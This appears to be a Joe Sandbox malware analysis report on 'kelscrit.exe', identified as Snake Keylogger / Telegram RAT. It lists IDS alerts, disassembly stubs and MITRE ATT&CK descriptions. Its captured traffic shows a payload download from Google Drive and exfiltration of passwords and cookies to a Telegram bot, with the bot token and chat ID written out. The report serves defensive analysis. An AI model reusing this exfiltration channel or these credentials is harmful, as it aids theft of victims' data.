Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49792 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49799 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49837 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49855 -> 172.67.177.134:443

Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 0015F45Dh	4_2_0015F2C0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 0015F45Dh	4_2_0015F4AC
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 0015F45Dh	4_2_0015F52F
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 0015FC19h	4_2_0015F961
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05E501h	4_2_3A05E258
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A050D0Dh	4_2_3A050B30
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A051697h	4_2_3A050B30
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A052C19h	4_2_3A052968
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A0531E0h	4_2_3A052DC8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05E0A9h	4_2_3A05DE00
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_3A050673
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05E959h	4_2_3A05E6B0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05EDB1h	4_2_3A05EB08
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05F209h	4_2_3A05EF60
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05F661h	4_2_3A05F3B8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05FAB9h	4_2_3A05F810
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_3A050040
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_3A050853
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05CF49h	4_2_3A05CCA0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05D3A1h	4_2_3A05D0F8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A0531E0h	4_2_3A05310E
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05D7F9h	4_2_3A05D550
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A05DC51h	4_2_3A05D9A8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3A0531E0h	4_2_3A052DC4
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA59280h	4_2_3AA58FB0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA57EB5h	4_2_3AA57B78
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA52151h	4_2_3AA51EA8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5F5C6h	4_2_3AA5F2F8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA57571h	4_2_3AA572C8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA55179h	4_2_3AA54ED0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA548C9h	4_2_3AA54620
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA56CC1h	4_2_3AA56A18
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5F136h	4_2_3AA5EE68
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA57119h	4_2_3AA56E70
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA54D21h	4_2_3AA54A78
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5D146h	4_2_3AA5CE78
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA51CF9h	4_2_3AA51A50
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5BA76h	4_2_3AA5B7A8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA52E59h	4_2_3AA52BB0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA55A29h	4_2_3AA55780
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5FA56h	4_2_3AA5F788
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5DA66h	4_2_3AA5D798
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA55E81h	4_2_3AA55BD8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA579C9h	4_2_3AA57720
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA555D1h	4_2_3AA55328
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA525A9h	4_2_3AA52300
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5D5D6h	4_2_3AA5D308
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5B5E6h	4_2_3AA5B318
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA52A01h	4_2_3AA52758
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5E386h	4_2_3AA5E0B8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then mov esp, ebp	4_2_3AA5B081
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA56733h	4_2_3AA56488
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA50741h	4_2_3AA50498
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA50B99h	4_2_3AA508F0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5C396h	4_2_3AA5C0C8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5DEF6h	4_2_3AA5DC28
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA562D9h	4_2_3AA56030
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5BF06h	4_2_3AA5BC38
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA532B1h	4_2_3AA53008
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA53709h	4_2_3AA53460
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA502E9h	4_2_3AA50040
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA51449h	4_2_3AA511A0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5CCB6h	4_2_3AA5C9E8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA518A1h	4_2_3AA515F8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5ECA6h	4_2_3AA5E9D8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5E816h	4_2_3AA5E548
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA50FF1h	4_2_3AA50D48
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AA5C826h	4_2_3AA5C558
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC5066h	4_2_3AAC4D98
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC6970h	4_2_3AAC6678
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC3076h	4_2_3AAC2DA8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACD2A0h	4_2_3AACCFA8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC1E47h	4_2_3AAC1BA0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACA798h	4_2_3AACA4A0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC5986h	4_2_3AAC56B8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC8FB0h	4_2_3AAC8CB8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACFDA8h	4_2_3AACFAB0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC2756h	4_2_3AAC2488
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACBF80h	4_2_3AACBC88
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC154Eh	4_2_3AAC1280
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC9478h	4_2_3AAC9180
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC7C90h	4_2_3AAC7998
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACEA88h	4_2_3AACE790
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC42B6h	4_2_3AAC3FE8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACF8E0h	4_2_3AACF5E8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACCDD8h	4_2_3AACCAE0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC22C6h	4_2_3AAC1FF8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACB5F0h	4_2_3AACB2F8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC10BEh	4_2_3AAC0DF0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC8AE8h	4_2_3AAC87F0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACE5C0h	4_2_3AACE2C8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACBAB8h	4_2_3AACB7C0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC6347h	4_2_3AAC5FD8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACA2D0h	4_2_3AAC9FD8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC079Eh	4_2_3AAC04D0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC77C8h	4_2_3AAC74D0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC54F6h	4_2_3AAC5228
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC8620h	4_2_3AAC8328
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACF418h	4_2_3AACF120
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC3506h	4_2_3AAC3238
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACDC30h	4_2_3AACD938
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACB128h	4_2_3AACAE30
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC4BD7h	4_2_3AAC4908
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC7300h	4_2_3AAC7008
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACE0F8h	4_2_3AACDE00
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC2BE6h	4_2_3AAC2918
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACC910h	4_2_3AACC618
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC19DEh	4_2_3AAC1710
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC9E08h	4_2_3AAC9B10
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACAC60h	4_2_3AACA968
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC0C2Eh	4_2_3AAC0960
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC8158h	4_2_3AAC7E60
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC4746h	4_2_3AAC4478
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACD768h	4_2_3AACD470
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC5E16h	4_2_3AAC5B48
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC9940h	4_2_3AAC9648
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC030Eh	4_2_3AAC0040
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC6E38h	4_2_3AAC6B40
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AAC3E26h	4_2_3AAC3B58
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACEF50h	4_2_3AACEC58
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AACC448h	4_2_3AACC150
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AB01FE8h	4_2_3AB01CF0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AB01190h	4_2_3AB00E98
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AB01B20h	4_2_3AB01828
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AB00338h	4_2_3AB00040
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AB00CC8h	4_2_3AB009D0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AB00801h	4_2_3AB00508
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then jmp 3AB01658h	4_2_3AB01360
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3AB40D26
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3AB40A10
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3AB40A02
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4x nop then push 00000000h	4_2_3AB450C7

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2004/12/2024%20/%2010:01:27%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendDocument?chat_id=6361450335&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd14d03d71ef37Host: api.telegram.orgContent-Length: 581
Source: global traffic	HTTP traffic detected: POST /bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendDocument?chat_id=6361450335&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd14fa72900cf5Host: api.telegram.orgContent-Length: 7046

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1SNuP_I7UYg8uQJi48SWGSQyWXLWmkyvC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1SNuP_I7UYg8uQJi48SWGSQyWXLWmkyvC&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kelscrit.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

